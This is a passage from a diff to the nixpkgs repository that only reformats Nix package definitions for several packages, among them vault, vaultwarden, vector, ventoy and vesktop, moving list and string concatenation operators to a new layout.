+++ b/pkgs/by-name/va/vapoursynth-eedi3/package.nix
@@ -29,15 +29,14 @@ stdenv.mkDerivation {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      boost
-      vapoursynth
-    ]
-    ++ lib.optionals openclSupport [
-      ocl-icd
-      opencl-headers
-    ];
+  buildInputs = [
+    boost
+    vapoursynth
+  ]
+  ++ lib.optionals openclSupport [
+    ocl-icd
+    opencl-headers
+  ];
 
   postPatch = ''
     substituteInPlace meson.build \
diff --git a/pkgs/by-name/va/vapoursynth-znedi3/package.nix b/pkgs/by-name/va/vapoursynth-znedi3/package.nix
index fbde9b6d26ef..5e3181e5823c 100644
--- a/pkgs/by-name/va/vapoursynth-znedi3/package.nix
+++ b/pkgs/by-name/va/vapoursynth-znedi3/package.nix
@@ -24,12 +24,13 @@ stdenv.mkDerivation {
     ln -s ${vapoursynth}/include/vapoursynth vsxx/vapoursynth
   '';
 
-  makeFlags =
-    [ "CPPFLAGS=-DNNEDI3_WEIGHTS_PATH='\"$(out)/share/nnedi3/nnedi3_weights.bin\"'" ]
-    ++ lib.optionals stdenv.hostPlatform.isx86 [
-      "X86=1"
-      "X86_AVX512=1"
-    ];
+  makeFlags = [
+    "CPPFLAGS=-DNNEDI3_WEIGHTS_PATH='\"$(out)/share/nnedi3/nnedi3_weights.bin\"'"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86 [
+    "X86=1"
+    "X86_AVX512=1"
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/va/vapoursynth/editor.nix b/pkgs/by-name/va/vapoursynth/editor.nix
index b426d111c799..08885a1fc4f8 100644
--- a/pkgs/by-name/va/vapoursynth/editor.nix
+++ b/pkgs/by-name/va/vapoursynth/editor.nix
@@ -40,25 +40,24 @@ let
 
     preConfigure = "cd pro";
 
-    preFixup =
-      ''
-        cd ../build/release*
-        mkdir -p $out/bin
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        mkdir -p $out/Applications
-        for bin in vsedit{,-job-server{,-watcher}}; do
-            mv $bin.app $out/Applications
-            makeQtWrapper $out/Applications/$bin.app/Contents/MacOS/$bin $out/bin/$bin
-            wrapQtApp $out/Applications/$bin.app/Contents/MacOS/$bin
-        done
-      ''
-      + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-        for bin in vsedit{,-job-server{,-watcher}}; do
-            mv $bin $out/bin
-            wrapQtApp $out/bin/$bin
-        done
-      '';
+    preFixup = ''
+      cd ../build/release*
+      mkdir -p $out/bin
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      mkdir -p $out/Applications
+      for bin in vsedit{,-job-server{,-watcher}}; do
+          mv $bin.app $out/Applications
+          makeQtWrapper $out/Applications/$bin.app/Contents/MacOS/$bin $out/bin/$bin
+          wrapQtApp $out/Applications/$bin.app/Contents/MacOS/$bin
+      done
+    ''
+    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+      for bin in vsedit{,-job-server{,-watcher}}; do
+          mv $bin $out/bin
+          wrapQtApp $out/bin/$bin
+      done
+    '';
 
     passthru = {
       inherit withPlugins;
diff --git a/pkgs/by-name/va/variety/package.nix b/pkgs/by-name/va/variety/package.nix
index 6e48e01d7e2d..a866c47ce670 100644
--- a/pkgs/by-name/va/variety/package.nix
+++ b/pkgs/by-name/va/variety/package.nix
@@ -43,7 +43,8 @@ python3Packages.buildPythonApplication rec {
     hicolor-icon-theme
     libnotify
     librsvg
-  ] ++ lib.optional appindicatorSupport libayatana-appindicator;
+  ]
+  ++ lib.optional appindicatorSupport libayatana-appindicator;
 
   dependencies =
     with python3Packages;
diff --git a/pkgs/by-name/va/vault/package.nix b/pkgs/by-name/va/vault/package.nix
index eb560c67b588..3e42b93e788d 100644
--- a/pkgs/by-name/va/vault/package.nix
+++ b/pkgs/by-name/va/vault/package.nix
@@ -42,20 +42,19 @@ buildGoModule rec {
     "-X github.com/hashicorp/vault/sdk/version.VersionPrerelease="
   ];
 
-  postInstall =
-    ''
-      echo "complete -C $out/bin/vault vault" > vault.bash
-      installShellCompletion vault.bash
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      wrapProgram $out/bin/vault \
-        --prefix PATH ${
-          lib.makeBinPath [
-            gawk
-            glibc
-          ]
-        }
-    '';
+  postInstall = ''
+    echo "complete -C $out/bin/vault vault" > vault.bash
+    installShellCompletion vault.bash
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    wrapProgram $out/bin/vault \
+      --prefix PATH ${
+        lib.makeBinPath [
+          gawk
+          glibc
+        ]
+      }
+  '';
 
   passthru.tests = {
     inherit (nixosTests)
diff --git a/pkgs/by-name/va/vaultwarden/package.nix b/pkgs/by-name/va/vaultwarden/package.nix
index 0eba9e6e26c6..0283496d0352 100644
--- a/pkgs/by-name/va/vaultwarden/package.nix
+++ b/pkgs/by-name/va/vaultwarden/package.nix
@@ -35,13 +35,14 @@ rustPlatform.buildRustPackage rec {
   env.VW_VERSION = version;
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ]
-    ++ lib.optional (dbBackend == "mysql") libmysqlclient
-    ++ lib.optional (dbBackend == "postgresql") libpq;
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ lib.optional (dbBackend == "mysql") libmysqlclient
+  ++ lib.optional (dbBackend == "postgresql") libpq;
 
   buildFeatures = dbBackend;
 
diff --git a/pkgs/by-name/vc/vcpkg-tool/package.nix b/pkgs/by-name/vc/vcpkg-tool/package.nix
index 0cdd12ae13d9..e4fa910fa1fd 100644
--- a/pkgs/by-name/vc/vcpkg-tool/package.nix
+++ b/pkgs/by-name/vc/vcpkg-tool/package.nix
@@ -71,7 +71,8 @@ stdenv.mkDerivation (finalAttrs: {
         unzip
         zip
         zstd
-      ] ++ extraRuntimeDeps;
+      ]
+      ++ extraRuntimeDeps;
 
       # Apart from adding the runtime dependencies to $PATH,
       # the wrapper will also override these arguments by default.
diff --git a/pkgs/by-name/vc/vcsi/package.nix b/pkgs/by-name/vc/vcsi/package.nix
index 3717bc3d5c7c..24ad702e6607 100644
--- a/pkgs/by-name/vc/vcsi/package.nix
+++ b/pkgs/by-name/vc/vcsi/package.nix
@@ -39,13 +39,12 @@ python3Packages.buildPythonApplication rec {
 
   makeWrapperArgs = [ "--prefix PATH : ${lib.makeBinPath [ ffmpeg ]}" ];
 
-  nativeCheckInputs =
-    [
-      versionCheckHook
-    ]
-    ++ (with python3Packages; [
-      pytestCheckHook
-    ]);
+  nativeCheckInputs = [
+    versionCheckHook
+  ]
+  ++ (with python3Packages; [
+    pytestCheckHook
+  ]);
   versionCheckProgramArg = "--version";
 
   meta = {
diff --git a/pkgs/by-name/ve/vector/package.nix b/pkgs/by-name/ve/vector/package.nix
index 9692f6ed11d9..88a233cceb12 100644
--- a/pkgs/by-name/ve/vector/package.nix
+++ b/pkgs/by-name/ve/vector/package.nix
@@ -40,31 +40,29 @@ rustPlatform.buildRustPackage {
   useFetchCargoVendor = true;
   cargoHash = "sha256-Bl/dgkoF9Hx1hLt9+kZiyK42GNr+5UGJYy5QZOnHDV4=";
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-      perl
-      git
-      rustPlatform.bindgenHook
-    ]
-    # Provides the mig command used by the build scripts
-    ++ lib.optional stdenv.hostPlatform.isDarwin darwin.bootstrap_cmds;
-  buildInputs =
-    [
-      oniguruma
-      openssl
-      protobuf
-      rdkafka
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ rust-jemalloc-sys-unprefixed ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      rust-jemalloc-sys
-      libiconv
-      coreutils
-      zlib
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    perl
+    git
+    rustPlatform.bindgenHook
+  ]
+  # Provides the mig command used by the build scripts
+  ++ lib.optional stdenv.hostPlatform.isDarwin darwin.bootstrap_cmds;
+  buildInputs = [
+    oniguruma
+    openssl
+    protobuf
+    rdkafka
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ rust-jemalloc-sys-unprefixed ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    rust-jemalloc-sys
+    libiconv
+    coreutils
+    zlib
+  ];
 
   # Rust 1.80.0 introduced the unexepcted_cfgs lint, which requires crates to allowlist custom cfg options that they inspect.
   # Upstream is working on fixing this in https://github.com/vectordotdev/vector/pull/20949, but silencing the lint lets us build again until then.
diff --git a/pkgs/by-name/ve/vectorcode/package.nix b/pkgs/by-name/ve/vectorcode/package.nix
index 7c86b426cec2..5b9d0d752f6f 100644
--- a/pkgs/by-name/ve/vectorcode/package.nix
+++ b/pkgs/by-name/ve/vectorcode/package.nix
@@ -65,15 +65,14 @@ python3Packages.buildPythonApplication rec {
 
   pythonImportsCheck = [ "vectorcode" ];
 
-  nativeCheckInputs =
-    [
-      versionCheckHook
-    ]
-    ++ (with python3Packages; [
-      mcp
-      pygls
-      pytestCheckHook
-    ]);
+  nativeCheckInputs = [
+    versionCheckHook
+  ]
+  ++ (with python3Packages; [
+    mcp
+    pygls
+    pytestCheckHook
+  ]);
   versionCheckProgramArg = "version";
 
   disabledTests = [
diff --git a/pkgs/by-name/ve/vectorscan/package.nix b/pkgs/by-name/ve/vectorscan/package.nix
index 206fb21b02eb..07fdb5ec0ee5 100644
--- a/pkgs/by-name/ve/vectorscan/package.nix
+++ b/pkgs/by-name/ve/vectorscan/package.nix
@@ -39,7 +39,8 @@ stdenv.mkDerivation rec {
     pkg-config
     ragel
     python3
-  ] ++ lib.optional stdenv.hostPlatform.isLinux util-linux;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux util-linux;
 
   buildInputs = [
     boost
@@ -56,36 +57,37 @@ stdenv.mkDerivation rec {
   #
   # For generic builds (e.g. x86_64) this can mean using an implementation not optimized for the
   # potentially available more modern hardware extensions (e.g. x86_64 with AVX512).
-  cmakeFlags =
-    [ (if enableShared then "-DBUILD_SHARED_LIBS=ON" else "BUILD_STATIC_LIBS=ON") ]
-    ++ (
-      if
-        lib.elem stdenv.hostPlatform.system [
-          "x86_64-linux"
-          "i686-linux"
-        ]
-      then
-        [
-          "-DBUILD_AVX2=ON"
-          "-DBUILD_AVX512=ON"
-          "-DBUILD_AVX512VBMI=ON"
-          "-DFAT_RUNTIME=ON"
-        ]
-      else
-        (
-          if (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) then
-            [
-              "-DBUILD_SVE=ON"
-              "-DBUILD_SVE2=ON"
-              "-DBUILD_SVE2_BITPERM=ON"
-              "-DFAT_RUNTIME=ON"
-            ]
-          else
-            [ "-DFAT_RUNTIME=OFF" ]
-            ++ lib.optional stdenv.hostPlatform.avx2Support "-DBUILD_AVX2=ON"
-            ++ lib.optional stdenv.hostPlatform.avx512Support "-DBUILD_AVX512=ON"
-        )
-    );
+  cmakeFlags = [
+    (if enableShared then "-DBUILD_SHARED_LIBS=ON" else "BUILD_STATIC_LIBS=ON")
+  ]
+  ++ (
+    if
+      lib.elem stdenv.hostPlatform.system [
+        "x86_64-linux"
+        "i686-linux"
+      ]
+    then
+      [
+        "-DBUILD_AVX2=ON"
+        "-DBUILD_AVX512=ON"
+        "-DBUILD_AVX512VBMI=ON"
+        "-DFAT_RUNTIME=ON"
+      ]
+    else
+      (
+        if (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) then
+          [
+            "-DBUILD_SVE=ON"
+            "-DBUILD_SVE2=ON"
+            "-DBUILD_SVE2_BITPERM=ON"
+            "-DFAT_RUNTIME=ON"
+          ]
+        else
+          [ "-DFAT_RUNTIME=OFF" ]
+          ++ lib.optional stdenv.hostPlatform.avx2Support "-DBUILD_AVX2=ON"
+          ++ lib.optional stdenv.hostPlatform.avx512Support "-DBUILD_AVX512=ON"
+      )
+  );
 
   doCheck = true;
   checkPhase = ''
diff --git a/pkgs/by-name/ve/vengi-tools/package.nix b/pkgs/by-name/ve/vengi-tools/package.nix
index 8a89332df21c..75727951799e 100644
--- a/pkgs/by-name/ve/vengi-tools/package.nix
+++ b/pkgs/by-name/ve/vengi-tools/package.nix
@@ -60,26 +60,25 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      libbfd
-      libdwarf
-      backward-cpp
-      curl
-      enet
-      freetype
-      glm
-      libjpeg
-      libuuid
-      libuv
-      lua5_4
-      lzfse
-      SDL2
-      libX11
-      SDL2_mixer
-    ]
-    ++ lib.optional stdenv.hostPlatform.isLinux wayland-protocols
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin) opencl-headers;
+  buildInputs = [
+    libbfd
+    libdwarf
+    backward-cpp
+    curl
+    enet
+    freetype
+    glm
+    libjpeg
+    libuuid
+    libuv
+    lua5_4
+    lzfse
+    SDL2
+    libX11
+    SDL2_mixer
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux wayland-protocols
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) opencl-headers;
 
   # error: "The plain signature for target_link_libraries has already been used"
   doCheck = false;
diff --git a/pkgs/by-name/ve/ventoy/package.nix b/pkgs/by-name/ve/ventoy/package.nix
index e6e97b1cddde..78c325ca66ed 100644
--- a/pkgs/by-name/ve/ventoy/package.nix
+++ b/pkgs/by-name/ve/ventoy/package.nix
@@ -79,36 +79,34 @@ stdenv.mkDerivation (finalAttrs: {
         WebUI/static/js/languages.js tool/languages.json
   '';
 
-  nativeBuildInputs =
-    [
-      autoPatchelfHook
-      makeWrapper
-    ]
-    ++ optionals (withQt5 || withGtk3) [ copyDesktopItems ]
-    ++ optionals withQt5 [ wrapQtAppsHook ];
+  nativeBuildInputs = [
+    autoPatchelfHook
+    makeWrapper
+  ]
+  ++ optionals (withQt5 || withGtk3) [ copyDesktopItems ]
+  ++ optionals withQt5 [ wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      bash
-      coreutils
-      dosfstools
-      exfat
-      gawk
-      gnugrep
-      gnused
-      hexdump
-      parted
-      procps
-      util-linux
-      which
-      xz
-    ]
-    ++ optionals withCryptsetup [ cryptsetup ]
-    ++ optionals withExt4 [ e2fsprogs ]
-    ++ optionals withGtk3 [ gtk3 ]
-    ++ optionals withNtfs [ ntfs3g ]
-    ++ optionals withXfs [ xfsprogs ]
-    ++ optionals withQt5 [ qtbase ];
+  buildInputs = [
+    bash
+    coreutils
+    dosfstools
+    exfat
+    gawk
+    gnugrep
+    gnused
+    hexdump
+    parted
+    procps
+    util-linux
+    which
+    xz
+  ]
+  ++ optionals withCryptsetup [ cryptsetup ]
+  ++ optionals withExt4 [ e2fsprogs ]
+  ++ optionals withGtk3 [ gtk3 ]
+  ++ optionals withNtfs [ ntfs3g ]
+  ++ optionals withXfs [ xfsprogs ]
+  ++ optionals withQt5 [ qtbase ];
 
   strictDeps = true;
 
@@ -128,72 +126,71 @@ stdenv.mkDerivation (finalAttrs: {
   dontConfigure = true;
   dontBuild = true;
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      # Setup variables
-      local VENTOY_PATH="$out"/share/ventoy
-      local ARCH='${arch}'
+    # Setup variables
+    local VENTOY_PATH="$out"/share/ventoy
+    local ARCH='${arch}'
 
-      # Prepare
-      cd tool/"$ARCH"
-      rm ash* hexdump* mkexfatfs* mount.exfat-fuse* xzcat*
-      for archive in *.xz; do
-          xzcat "$archive" > "''${archive%.xz}"
-          rm "$archive"
-      done
-      chmod a+x *
-      cd -
+    # Prepare
+    cd tool/"$ARCH"
+    rm ash* hexdump* mkexfatfs* mount.exfat-fuse* xzcat*
+    for archive in *.xz; do
+        xzcat "$archive" > "''${archive%.xz}"
+        rm "$archive"
+    done
+    chmod a+x *
+    cd -
 
-      # Cleanup.
-      case "$ARCH" in
-          x86_64) rm -r {tool/,VentoyGUI.}{i386,aarch64,mips64el};;
-          i386) rm -r {tool/,VentoyGUI.}{x86_64,aarch64,mips64el};;
-          aarch64) rm -r {tool/,VentoyGUI.}{x86_64,i386,mips64el};;
-          mips64el) rm -r {tool/,VentoyGUI.}{x86_64,i386,aarch64};;
-      esac
-      rm README
-      rm tool/"$ARCH"/Ventoy2Disk.gtk2 || true  # For aarch64 and mips64el.
+    # Cleanup.
+    case "$ARCH" in
+        x86_64) rm -r {tool/,VentoyGUI.}{i386,aarch64,mips64el};;
+        i386) rm -r {tool/,VentoyGUI.}{x86_64,aarch64,mips64el};;
+        aarch64) rm -r {tool/,VentoyGUI.}{x86_64,i386,mips64el};;
+        mips64el) rm -r {tool/,VentoyGUI.}{x86_64,i386,aarch64};;
+    esac
+    rm README
+    rm tool/"$ARCH"/Ventoy2Disk.gtk2 || true  # For aarch64 and mips64el.
 
-      # Copy from "$src" to "$out"
-      mkdir -p "$out"/bin "$VENTOY_PATH"
-      cp -r . "$VENTOY_PATH"
+    # Copy from "$src" to "$out"
+    mkdir -p "$out"/bin "$VENTOY_PATH"
+    cp -r . "$VENTOY_PATH"
 
-      # Fill bin dir
-      for f in Ventoy2Disk.sh_ventoy VentoyWeb.sh_ventoy-web \
-               CreatePersistentImg.sh_ventoy-persistent \
-               ExtendPersistentImg.sh_ventoy-extend-persistent \
-               VentoyPlugson.sh_ventoy-plugson; do
-          local bin="''${f%_*}" wrapper="''${f#*_}"
-          makeWrapper "$VENTOY_PATH/$bin" "$out/bin/$wrapper" \
-                      --prefix PATH : "${lib.makeBinPath finalAttrs.buildInputs}" \
-                      --chdir "$VENTOY_PATH"
-      done
-    ''
-    # VentoGUI uses the `ventoy_gui_type` file to determine the type of GUI.
-    # See: https://github.com/ventoy/Ventoy/blob/v1.0.78/LinuxGUI/Ventoy2Disk/ventoy_gui.c#L1096
-    + optionalString (withGtk3 || withQt5) ''
-      echo "${defaultGuiType}" > "$VENTOY_PATH/ventoy_gui_type"
-      makeWrapper "$VENTOY_PATH/VentoyGUI.$ARCH" "$out/bin/ventoy-gui" \
-                  --prefix PATH : "${lib.makeBinPath finalAttrs.buildInputs}" \
-                  --chdir "$VENTOY_PATH"
-      mkdir "$out"/share/{applications,pixmaps}
-      ln -s "$VENTOY_PATH"/WebUI/static/img/VentoyLogo.png "$out"/share/pixmaps/
-    ''
-    + optionalString (!withGtk3) ''
-      rm "$VENTOY_PATH"/tool/{"$ARCH"/Ventoy2Disk.gtk3,VentoyGTK.glade}
-    ''
-    + optionalString (!withQt5) ''
-      rm "$VENTOY_PATH/tool/$ARCH/Ventoy2Disk.qt5"
-    ''
-    + optionalString (!withGtk3 && !withQt5) ''
-      rm "$VENTOY_PATH"/VentoyGUI.*
-    ''
-    + ''
+    # Fill bin dir
+    for f in Ventoy2Disk.sh_ventoy VentoyWeb.sh_ventoy-web \
+             CreatePersistentImg.sh_ventoy-persistent \
+             ExtendPersistentImg.sh_ventoy-extend-persistent \
+             VentoyPlugson.sh_ventoy-plugson; do
+        local bin="''${f%_*}" wrapper="''${f#*_}"
+        makeWrapper "$VENTOY_PATH/$bin" "$out/bin/$wrapper" \
+                    --prefix PATH : "${lib.makeBinPath finalAttrs.buildInputs}" \
+                    --chdir "$VENTOY_PATH"
+    done
+  ''
+  # VentoGUI uses the `ventoy_gui_type` file to determine the type of GUI.
+  # See: https://github.com/ventoy/Ventoy/blob/v1.0.78/LinuxGUI/Ventoy2Disk/ventoy_gui.c#L1096
+  + optionalString (withGtk3 || withQt5) ''
+    echo "${defaultGuiType}" > "$VENTOY_PATH/ventoy_gui_type"
+    makeWrapper "$VENTOY_PATH/VentoyGUI.$ARCH" "$out/bin/ventoy-gui" \
+                --prefix PATH : "${lib.makeBinPath finalAttrs.buildInputs}" \
+                --chdir "$VENTOY_PATH"
+    mkdir "$out"/share/{applications,pixmaps}
+    ln -s "$VENTOY_PATH"/WebUI/static/img/VentoyLogo.png "$out"/share/pixmaps/
+  ''
+  + optionalString (!withGtk3) ''
+    rm "$VENTOY_PATH"/tool/{"$ARCH"/Ventoy2Disk.gtk3,VentoyGTK.glade}
+  ''
+  + optionalString (!withQt5) ''
+    rm "$VENTOY_PATH/tool/$ARCH/Ventoy2Disk.qt5"
+  ''
+  + optionalString (!withGtk3 && !withQt5) ''
+    rm "$VENTOY_PATH"/VentoyGUI.*
+  ''
+  + ''
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   meta = {
     homepage = "https://www.ventoy.net";
diff --git a/pkgs/by-name/ve/verilator/package.nix b/pkgs/by-name/ve/verilator/package.nix
index fde5e2828a81..4bce9ec70a69 100644
--- a/pkgs/by-name/ve/verilator/package.nix
+++ b/pkgs/by-name/ve/verilator/package.nix
@@ -39,29 +39,27 @@ stdenv.mkDerivation rec {
     systemc
     # ccache
   ];
-  nativeBuildInputs =
-    [
-      makeWrapper
-      flex
-      bison
-      autoconf
-      help2man
-      git
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      gdb
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    flex
+    bison
+    autoconf
+    help2man
+    git
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    gdb
+  ];
 
-  nativeCheckInputs =
-    [
-      which
-      coreutils
-      # cmake
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      numactl
-    ];
+  nativeCheckInputs = [
+    which
+    coreutils
+    # cmake
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    numactl
+  ];
 
   doCheck = true;
   checkTarget = "test";
diff --git a/pkgs/by-name/ve/vesktop/package.nix b/pkgs/by-name/ve/vesktop/package.nix
index 7a548add72da..32cfd7651007 100644
--- a/pkgs/by-name/ve/vesktop/package.nix
+++ b/pkgs/by-name/ve/vesktop/package.nix
@@ -44,24 +44,23 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-C05rDd5bcbR18O6ACgzS0pQdWzB99ulceOBpW+4Zbqw=";
   };
 
-  nativeBuildInputs =
-    [
-      nodejs
-      pnpm_10.configHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # vesktop uses venmic, which is a shipped as a prebuilt node module
-      # and needs to be patched
-      autoPatchelfHook
-      copyDesktopItems
-      # we use a script wrapper here for environment variable expansion at runtime
-      # https://github.com/NixOS/nixpkgs/issues/172583
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # on macos we don't need to expand variables, so we can use the faster binary wrapper
-      makeBinaryWrapper
-    ];
+  nativeBuildInputs = [
+    nodejs
+    pnpm_10.configHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # vesktop uses venmic, which is a shipped as a prebuilt node module
+    # and needs to be patched
+    autoPatchelfHook
+    copyDesktopItems
+    # we use a script wrapper here for environment variable expansion at runtime
+    # https://github.com/NixOS/nixpkgs/issues/172583
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # on macos we don't need to expand variables, so we can use the faster binary wrapper
+    makeBinaryWrapper
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     libpulseaudio
@@ -69,16 +68,15 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.getLib stdenv.cc.cc)
   ];
 
-  patches =
-    [
-      ./disable_update_checking.patch
-      ./fix_read_only_settings.patch
-    ]
-    ++ lib.optional withSystemVencord (
-      replaceVars ./use_system_vencord.patch {
-        inherit vencord;
-      }
-    );
+  patches = [
+    ./disable_update_checking.patch
+    ./fix_read_only_settings.patch
+  ]
+  ++ lib.optional withSystemVencord (
+    replaceVars ./use_system_vencord.patch {
+      inherit vencord;
+    }
+  );
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = 1;
@@ -115,26 +113,25 @@ stdenv.mkDerivation (finalAttrs: {
     popd
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mkdir -p $out/opt/Vesktop
-      cp -r dist/*unpacked/resources $out/opt/Vesktop/
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mkdir -p $out/opt/Vesktop
+    cp -r dist/*unpacked/resources $out/opt/Vesktop/
 
-      for file in build/icon_*x32.png; do
-        file_suffix=''${file//build\/icon_}
-        install -Dm0644 $file $out/share/icons/hicolor/''${file_suffix//x32.png}/apps/vesktop.png
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/{Applications,bin}
-      mv dist/mac*/Vesktop.app $out/Applications/Vesktop.app
-    ''
-    + ''
-      runHook postInstall
-    '';
+    for file in build/icon_*x32.png; do
+      file_suffix=''${file//build\/icon_}
+      install -Dm0644 $file $out/share/icons/hicolor/''${file_suffix//x32.png}/apps/vesktop.png
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/{Applications,bin}
+    mv dist/mac*/Vesktop.app $out/Applications/Vesktop.app
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   postFixup =
     lib.optionalString stdenv.hostPlatform.isLinux ''
diff --git a/pkgs/by-name/vg/vgmstream/package.nix b/pkgs/by-name/vg/vgmstream/package.nix
index f6901368baae..43135d821dfe 100644
--- a/pkgs/by-name/vg/vgmstream/package.nix
+++ b/pkgs/by-name/vg/vgmstream/package.nix
@@ -74,30 +74,28 @@ stdenv.mkDerivation rec {
     audacious-bare
   ];
 
-  preConfigure =
-    ''
-      substituteInPlace cmake/dependencies/audacious.cmake \
-        --replace-fail "pkg_get_variable(AUDACIOUS_PLUGIN_DIR audacious plugin_dir)" "set(AUDACIOUS_PLUGIN_DIR \"$audacious/lib/audacious\")"
-    ''
-    +
-      # cmake/dependencies/celt.cmake uses configure_file to modify ${CELT_0110_PATH}/libcelt/ecintrin.h.
-      # Therefore, CELT_0110_PATH needs to point to a mutable directory.
-      lib.optionalString (stdenv.system == "x86_64-linux") ''
-        mkdir -p dependencies/celt-0.11.0/
-        cp -r ${celt-0_11_0-src}/* dependencies/celt-0.11.0/
-        chmod -R +w dependencies/celt-0.11.0/
-      '';
+  preConfigure = ''
+    substituteInPlace cmake/dependencies/audacious.cmake \
+      --replace-fail "pkg_get_variable(AUDACIOUS_PLUGIN_DIR audacious plugin_dir)" "set(AUDACIOUS_PLUGIN_DIR \"$audacious/lib/audacious\")"
+  ''
+  +
+    # cmake/dependencies/celt.cmake uses configure_file to modify ${CELT_0110_PATH}/libcelt/ecintrin.h.
+    # Therefore, CELT_0110_PATH needs to point to a mutable directory.
+    lib.optionalString (stdenv.system == "x86_64-linux") ''
+      mkdir -p dependencies/celt-0.11.0/
+      cp -r ${celt-0_11_0-src}/* dependencies/celt-0.11.0/
+      chmod -R +w dependencies/celt-0.11.0/
+    '';
 
-  cmakeFlags =
-    [
-      "-DATRAC9_PATH=${atrac9-src}"
-    ]
-    # Only supported on x86_64-linux
-    ++ lib.optionals (stdenv.system == "x86_64-linux") [
-      "-DCELT_0061_PATH=${celt-0_6_1-src}"
-      "-DCELT_0110_PATH=../dependencies/celt-0.11.0"
-      # libg719_decode omitted because it doesn't have a free software license
-    ];
+  cmakeFlags = [
+    "-DATRAC9_PATH=${atrac9-src}"
+  ]
+  # Only supported on x86_64-linux
+  ++ lib.optionals (stdenv.system == "x86_64-linux") [
+    "-DCELT_0061_PATH=${celt-0_6_1-src}"
+    "-DCELT_0110_PATH=../dependencies/celt-0.11.0"
+    # libg719_decode omitted because it doesn't have a free software license
+  ];
 
   meta = with lib; {
     description = "Library for playback of various streamed audio formats used in video games";
diff --git a/pkgs/by-name/vi/video2x/package.nix b/pkgs/by-name/vi/video2x/package.nix
index 6cbbe53ca5b0..9a2edb4387fc 100644
--- a/pkgs/by-name/vi/video2x/package.nix
+++ b/pkgs/by-name/vi/video2x/package.nix
@@ -55,18 +55,17 @@ stdenv.mkDerivation (finalAttrs: {
     glslang
   ];
 
-  buildInputs =
-    [
-      boost
-      ffmpeg
-      ncnn
-      spdlog
-      vulkan-headers
-      vulkan-loader
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      llvmPackages.openmp
-    ];
+  buildInputs = [
+    boost
+    ffmpeg
+    ncnn
+    spdlog
+    vulkan-headers
+    vulkan-loader
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    llvmPackages.openmp
+  ];
 
   cmakeFlags = [
     # Don't build the libvideo2x shared library, we only need the CLI tool
diff --git a/pkgs/by-name/vi/viking/package.nix b/pkgs/by-name/vi/viking/package.nix
index 6b40ded8b652..19ea89fef086 100644
--- a/pkgs/by-name/vi/viking/package.nix
+++ b/pkgs/by-name/vi/viking/package.nix
@@ -62,24 +62,24 @@ stdenv.mkDerivation rec {
     pkg-config
     wrapGAppsHook3
     yelp-tools
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
-  buildInputs =
-    [
-      curl
-      gdk-pixbuf
-      gtk3
-      json-glib
-      libxml2
-    ]
-    ++ lib.optional withGeoClue geoclue2
-    ++ lib.optional withGeoTag gexiv2
-    ++ lib.optional withMagic file
-    ++ lib.optional withMapnik mapnik
-    ++ lib.optional withMBTiles sqlite
-    ++ lib.optional withMd5Hash nettle
-    ++ lib.optional withOAuth liboauth
-    ++ lib.optional withRealtimeGPSTracking gpsd;
+  buildInputs = [
+    curl
+    gdk-pixbuf
+    gtk3
+    json-glib
+    libxml2
+  ]
+  ++ lib.optional withGeoClue geoclue2
